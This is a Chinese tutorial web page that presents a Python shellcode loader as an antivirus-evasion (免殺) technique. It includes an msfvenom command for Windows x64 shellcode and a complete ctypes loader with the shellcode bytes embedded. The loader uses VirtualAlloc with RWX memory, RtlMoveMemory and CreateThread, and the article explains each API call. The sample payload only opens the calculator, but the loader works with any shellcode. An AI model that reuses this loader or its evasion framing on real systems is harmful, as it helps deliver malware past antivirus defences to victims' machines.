python免殺技術(shù)shellcode的加載與執(zhí)行
0x01 生成shellcode
首先通過下列命令生成一個shellcode,使用msfvenom -p選項來指定paylaod,這里選用windows/x64、exec模塊接收的參數(shù)。使用calc.exe執(zhí)行彈出計算器的操作。-f選項用來執(zhí)行生成的shellcdoe的編譯語言。
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
0x02 加載與執(zhí)行shellcode的程序
程序為:
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重載函數(shù)返回類型為void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請內(nèi)存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請的內(nèi)存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程 WaitForSingleObject(c_int(h),c_int(-1))#檢測線程創(chuàng)建事件 if __name__ == "__main__": run1()
0x03 程序解釋
導入模塊,并且程序分配內(nèi)存還有可進行讀寫操作。
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
區(qū)域可執(zhí)行代碼,可讀可寫
PAGE_EXECUTE_READWRITE = 0x00000040
分配內(nèi)存
MEM_COMMIT = 0x3000
給予進程所有權(quán)限
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
調(diào)用windows api
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
將前面生成的shellcode賦值給shellcode參數(shù),賦值前使用bytearray函數(shù)處理
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" )
創(chuàng)建一個方法并調(diào)用,申請內(nèi)存,將shellcode指向分配的內(nèi)存指針,再復(fù)制shellcode到內(nèi)存中,創(chuàng)建線程事件并執(zhí)行:
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重載函數(shù)返回類型為void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請內(nèi)存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請的內(nèi)存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程 WaitForSingleObject(c_int(h),c_int(-1))#檢測線程創(chuàng)建事件
VirtualAlloc是用來申請內(nèi)存空間,是一個Windows API函數(shù),它的聲明為:
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的內(nèi)存區(qū)域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的類型 DWORD flProtect // 該內(nèi)存的初始保護屬性 };
RtlMoveMemory從指定內(nèi)存中復(fù)制內(nèi)存至另一內(nèi)存里.語法為:
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
參數(shù):
Destination :指向移動目的地址的指針。
Source :指向要復(fù)制的內(nèi)存地址的指針。
Length :指定要復(fù)制的字節(jié)數(shù)。
CreateThread是一種微軟在Windows API中提供了建立新的線程的函數(shù),該函數(shù)在主線程的基礎(chǔ)上創(chuàng)建一個新線程。
函數(shù)原型:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
參數(shù)意義
- lpThreadAttributes:指向SECURITY_ATTRIBUTES型態(tài)的結(jié)構(gòu)的指針。在Windows 98中忽略該參數(shù)。在Windows NT中,NULL使用默認安全性,不可以被子線程繼承,否則需要定義一個結(jié)構(gòu)體將它的bInheritHandle成員初始化為TRUE。
- dwStackSize,設(shè)置初始棧的大小,以字節(jié)為單位,如果為0,那么默認將使用與調(diào)用該函數(shù)的線程相同的??臻g大小。任何情況下,Windows根據(jù)需要動態(tài)延長堆棧的大小。
- lpStartAddress,指向線程函數(shù)的指針,形式:@函數(shù)名,函數(shù)名稱沒有限制
- lpParameter:向線程函數(shù)傳遞的參數(shù),是一個指向結(jié)構(gòu)的指針,不需傳遞參數(shù)時,為NULL。
- dwCreationFlags :線程標志,可取值如下
- (1)CREATE_SUSPENDED(0x00000004):創(chuàng)建一個掛起的線程,
- (2)0:表示創(chuàng)建后立即激活。
- (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize參數(shù)指定初始的保留堆棧 的大小,否則,dwStackSize指定提交的大小。該標記值在Windows 2000/NT and Windows Me/98/95上不支持。
- lpThreadId:保存新線程的id。
- WaitForSingleObject是一種Windows API函數(shù)。當?shù)却栽趻炱馉顟B(tài)時,句柄被關(guān)閉,那么函數(shù)行為是未定義的。該句柄必須具有 SYNCHRONIZE 訪問權(quán)限。
聲明:
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in]對象句柄。可以指定一系列的對象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。
dwMilliseconds[in]定時時間間隔,單位為milliseconds(毫秒).如果指定一個非零值,函數(shù)處于等待狀態(tài)直到hHandle標記的對象被觸發(fā),或者時間到了。如果dwMilliseconds為0,對象沒有被觸發(fā)信號,函數(shù)不會進入一個等待狀態(tài),它總是立即返回。如果dwMilliseconds為INFINITE,對象被觸發(fā)信號后,函數(shù)才會返回。
運行程序可以成功彈出計算器。
到此這篇關(guān)于python免殺技術(shù)shellcode的加載與執(zhí)行的文章就介紹到這了,更多相關(guān)python shellcode加載與執(zhí)行內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
python腳本框架webpy模板控制結(jié)構(gòu)
這篇文章主要為大家介紹了python腳本框架webpy模板控制結(jié)構(gòu)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步2021-11-11安裝pycurl報錯Could not run curl-config: &ap
這篇文章主要為大家介紹了安裝pycurl報錯Could not run curl-config: 'curl-config'解決方法,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-12-12pytest實戰(zhàn)技巧之參數(shù)化基本用法和多種方式
本文介紹了pytest參數(shù)化的基本用法和多種方式,幫助讀者更好地使用這個功能,同時,還介紹了一些高級技巧,如動態(tài)生成參數(shù)名稱、參數(shù)化的組合和動態(tài)生成參數(shù)化裝飾器,幫助讀者更靈活地使用參數(shù)化,感興趣的朋友參考下吧2023-12-12windows中安裝Python3.8.0的實現(xiàn)方法
這篇文章主要介紹了windows中安裝Python3.8.0的實現(xiàn)方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2019-11-11python3 sorted 如何實現(xiàn)自定義排序標準
這篇文章主要介紹了python3 sorted 如何實現(xiàn)自定義排序標準,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-03-03